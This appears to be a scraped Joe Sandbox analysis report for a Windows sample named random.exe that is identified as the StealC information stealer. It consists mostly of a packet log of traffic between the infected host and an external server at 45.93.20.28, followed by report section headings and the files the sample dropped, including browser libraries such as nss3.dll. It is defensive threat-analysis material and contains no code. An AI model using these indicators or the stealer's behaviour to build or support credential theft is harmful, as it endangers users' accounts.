Mar 1, 2025 16:02:23.247577906 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247596025 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247606039 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247622013 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247642040 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247654915 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247657061 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247689009 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247726917 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247739077 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247750998 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247764111 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247767925 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247792959 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247819901 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247929096 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247940063 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247951031 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247970104 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247984886 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247997999 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248009920 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248022079 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248034000 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248039961 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248070955 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248215914 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248228073 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248239994 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248253107 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248254061 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248267889 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248289108 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248308897 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248354912 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248367071 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248378038 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248389006 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248414993 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248414993 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248425961 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248434067 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248440981 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248455048 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248466015 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248497009 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248497009 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248646975 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248657942 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248670101 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248683929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248684883 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248694897 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248703003 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248713017 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248745918 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248745918 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248908043 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248918056 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248929024 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248939037 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248949051 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248960018 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248951912 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.248971939 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.248972893 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.249006987 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.249006987 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.249144077 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.249155998 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.249166965 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.249182940 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.249197960 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.249197960 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.249247074 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285176039 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285197973 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285212040 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285243988 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285250902 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285264969 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285279036 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285290003 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285295963 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285307884 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285322905 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285387039 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285392046 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285407066 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285419941 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285439968 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285468102 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285571098 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285583973 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285595894 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285608053 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285645008 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.285756111 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285768986 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285779953 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285792112 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285804987 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.285804987 CET

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBAKJDGHIIJJKFHCFCA

C:\ProgramData\EBAEBFII

C:\ProgramData\EBAFBGIDHCBFHIECFCBG

C:\ProgramData\EBKJDBAAKJDGCBFHCFCGIEBFBA

C:\ProgramData\FBFIJJEB

C:\ProgramData\FCGIJDBAFCBAAKECGDGCBKFIDG

C:\ProgramData\GHJDBAKEHDHDGCAKKJJE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
random.exe